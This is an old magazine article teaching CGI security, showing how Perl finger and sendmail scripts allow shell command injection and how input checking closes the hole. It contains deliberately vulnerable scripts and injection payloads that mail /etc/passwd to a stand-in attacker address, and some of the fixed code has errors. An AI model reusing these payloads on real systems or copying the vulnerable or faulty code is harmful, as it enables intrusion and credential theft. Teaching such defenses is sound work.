article

CGI Security---It's Not As Scary As It Sounds

Worried about CGI security? Don't want to leave holes in your system? This article provides a quick guide to plugging the most common holes found in CGI scripts.

by David Ray

There is currently a lot of talk about web server and CGI security on Usenet and listservs, as well as among administrators. Many of the concerns are valid, but I see a lot of over-reaction and exaggeration. Web servers can be made virtually bulletproof if they are sufficiently understood and given the proper attention.

There are three ways an Internet troublemaker can access a web server to do damage. The first way is to gain access through one of the services on the web server other than the HTTP server, such as telnet, ftp, finger or gopher. Making a web server machine secure in this regard is a general Unix security issue. I will not go into the details of general Unix security in this article, but I can summarize by saying that such security is well documented, and generally involves eliminating all unnecessary services, setting appropriate file permissions, and controlling user accounts and password selection. Because of its sensitive nature, this information can be obtained through training courses at established institutions, and is not generally available for anonymous users on the Internet. For more information on general Unix security training courses, see Trusted Information Systems at * http://www.tis.com/

For the purposes of this article I will assume that the necessary steps have been taken to prevent this type of security issue, and the only risks are those specific to the HTTP protocol.

The second way to access a web server and do damage is to use the HTTP protocol to gain shell access or to run system commands. This is extremely unusual and can only be done through bugs in the program---theoretically the Web protocol makes this impossible.

A hole was discovered in the programming of the NCSA web server, version 1.3, in early 1995. In very rare circumstances, this hole allowed a person to make system calls under the UID that the web server was running. The programming error was fixed quickly in a new release, and there is currently no known way that this can occur on any type of academic or commercial web server.

The third and primary security concern is that of CGI scripts running on the web server. Because CGI programming is so flexible, it is possible for systems to be cracked using CGIs. However, with some understanding of how CGIs work, and some simple rules to follow, risks associated with CGIs can be virtually eliminated.

Why Use CGIs?

The purpose of CGIs is to extend interactivity to the HTTP protocol. Without CGIs, a web server is not much more than a gopher server. Static web pages can be served, and that's all. No interaction. No dynamics. Today, CGI programming is the heart of Web creativity, and is largely responsible for making the Web as popular as it is.

``If you want security, never run CGIs!''

I get upset when I read this time and time again on Usenet. As a designer and administrator, my goal is to push technology to the cutting edge to make the Internet as interactive as possible. I'm not willing to reduce the user's experience because of superstitions. It's natural for people to be afraid of what they don't understand. The solution is to remove the fear by understanding the issues, not to shoot down the thing that is causing fear.

An excellent overview of CGI security can be found at:

*http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq

This FAQ should be mandatory reading for anybody administering or designing a web server.

I'm not going to repeat the material covered in the FAQ. Instead, I will summarize some of the main points from the perspective of a system administrator, Web designer, and user.

If a CGI program is written properly, there would be no possible way a user could do harm to a system. Why, then, should an administrator go out of his or her way to run the server as ``nobody'', set file permissions to restrict read and write access, or run the system under ``chroot''? Theoretically, there is no reason, if you know every possible thing about every CGI and know that each CGI is secure. More often, however, CGIs may not be fully understood because:

At one time in the past, I designed and administered a web site single-handedly. I wrote the CGIs, ran the server as root, used no special file permissions or ``chroot'' configurations. Although this violated all the rules for web server security, I never had any problems. This was mainly because I was writing the CGIs and had tested them thoroughly before putting them into production. The CGIs included syntax-checking for all user input to prevent unwanted commands. My testing process included attempts to crack the system by trying a wide range of system commands in the web page forms I was using. This was an unusual situation---I understood system security and I could anticipate how the system might be cracked using the CGI.

As the web site developed, more people became involved and I was no longer the only one writing the CGIs or doing all the administration. The CGI programmers did not have a security background and weren't aware of all the CGI security issues. Administrators didn't know about CGIs and did not fully understand the HTTP protocol. It was unclear whether the CGIs were being adequately tested before being put into production. As a result, the security configuration had to be overhauled. That system now follows many of the guidelines recommended in the web server security FAQ.

Web designers and people with user accounts will typically write CGIs and then submit them to administrators to place on the server. System administrators should evaluate the CGI code by reading it and should test the CGIs using web page forms. Tests should attempt to make non-damaging system calls which, if successful, leave a mark that the system has been accessed. If a sufficient set of tests fail to access the system, the CGI can be considered safe and can be made available on the server.

One such test would be the creation of a harmless file. For example, let's assume the server is running as user ``nobody'' which has permission to write to the /tmp directory. A harmless system call could be touch /tmp/gotcha. This command would simply create a file named ``gotcha'' in the /tmp directory. Some examples of URLs that might be sent to a CGI program are:


http://myserver/cgi-bin/finger?dave;touch%20/tmp/gotcha
http://myserver/cgi-bin/finger?dave;touch+/tmp/gotcha

If it is possible to send a form or URL that successfully executes this command, then in principle any command-line argument could be sent. The CGI script should then be reworked until it is not possible to send any unwanted system command.

Ideally, the person writing the CGIs should understand CGI security and follow the right guidelines. If everything the user enters in a web page form is checked for syntax in the CGI before being used in system calls, the CGI is virtually problem-free. If the person writing the CGIs doesn't know how to do syntax-checking, the system administrator should add syntax-checking to the script and test it before putting it into production.

Plugging the Holes

As an example, let's take this sieve of a script and plug the holes:


#!/usr/bin/perl
print "Content-type: text/plain\n\n";
$address = $ENV{`QUERY_STRING`};
print "FINGER OF $address:\n\n", \ 
`/usr/bin/finger $address`;

The problem with this script is that any system command can be sent to the server by putting a semicolon after the username being ``fingered'' and appending the system command. For example, the URL:

http://myhost/cgi-bin/finger?username;%20mail%20
hacker@bad.com%20< /etc/passwd
would have the same effect as the following command-line argument:
finger username; mail hacker@bad.com < /etc/passwd

If somebody were able to send this URL unchecked, they could crack the password file and gain unauthorized access to the system.

We could make this script safer by limiting the allowed syntax of the user input to only what's needed for this script. In this case, ``finger'' needs an input in the format ``username@machine''. So let's disallow any characters other than a-z, A-Z, 0-9, and the characters . - _ and @. (The % symbol is used for e-mail purposes only.) If we do this, the script would remain functional and be safe from users trying to send command-line arguments because it disallows whitespace characters.


#!/usr/bin/perl
print "Content-type: text/plain\n\n";
$address = $ENV{`QUERY_STRING`};
if ($address =~ /[^a-zA-Z0-9_-.<\@>]/) {
   print "Username must be in the form 
   \"user@machine\", Please try again,\n";
}
else {
  print "FINGER OF $address:\n\n", \ 
  `/usr/bin/finger $address`;
}

Note that there are many different ways one could modify the above script to make it secure. Another way would be to require the input to be in the form ``user@address'' with the expression

[\w-.]+\@[\w-.]
in place of
[^a-zA-Z0-9-.@]
.

Here is another problem script that performs a very popular function, sending an e-mail message from an HTML form.


#!/usr/bin/perl
require ("cgi-lib.pl"); ReadParse;

#The line above puts the "To:" field of the form into the variable
#"$in{`to`}"

open (MAIL,"| /usr/lib/sendmail $in{`to`}");
print MAIL "From: MyForm\n\nHello World\n";
close MAIL;

A user could run a command-line argument by putting the following in the ``To:'' field of the form:


nobody@nowhere.com; mail hacker@bad.com < /etc/passwd;

This would have the same effect as the following command-line argument:

/usr/lib/sendmail nobody@nowhere.com; mail hacker@bad.com
< /etc/passwd;

A better way to write a sendmail-based CGI script is the following:


#!/usr/bin/perl
require ("cgi-lib.pl"); ReadParse;
open (MAIL,"| /usr/lib/sendmail -t -oi");
print "To: $in{`in`}\nFrom: 
MyForm\n\nHello World\n";
close MAIL;

In this example, the user's input cannot escape the sendmail shell, no matter what he types. If he tries to put the ``bad'' line above into the form, the mail message would look like:


To: nobody@nowhere.com; 
mail hacker@bad.com
< /etc/passwd
   From: MyForm

   Hello World


Sendmail would then try to send it, and the message would return because the address is invalid. No harm would come to the system.

I should mention that although these examples have been written in Perl, the same security issues are present for any CGI script, regardless of which shell language is used or whether it is written in C. The same testing process should be performed regardless of the programming language used. Perl was selected for these examples because it is the most common language used for CGI scripting on Unix systems. Perl also has some CGI-specific libraries and security tools not available with other programming languages.

Other CGI Security Tools

For those who want additional security enhancements built into the CGI development environment, there are a few options for Perl language:

Conclusion

In summary, the steps for making a web server secure are well documented. As long as the appropriate steps are taken:

The risks of running the web server are not any greater than any other network service. Designers can then focus on providing good content and interactivity, which is where they should be concentrating their efforts.


Active on the Internet since 1984, David Ray has authored several web sites for small businesses, corporations and non-profit groups, and has instructed courses on the Internet at University of San Francisco and the San Francisco Digital Media Center. David specializes in Perl based CGI scripts and server customizations to push the Web to its fullest potential, and he programs in HTML 3.0, Perl, Bourne shell, Java, JavaScript and AppleScript programming languages. He holds a B.A. degree in the Physics from U.C. Berkeley and is currently the Webmaster and lead Web designer at Wells Fargo Bank. He can be reached by e-mail at daver@netcom.com, or by snail mail c/o WEBsmith.

Next Article | Back to This Issue | Back to Issue Index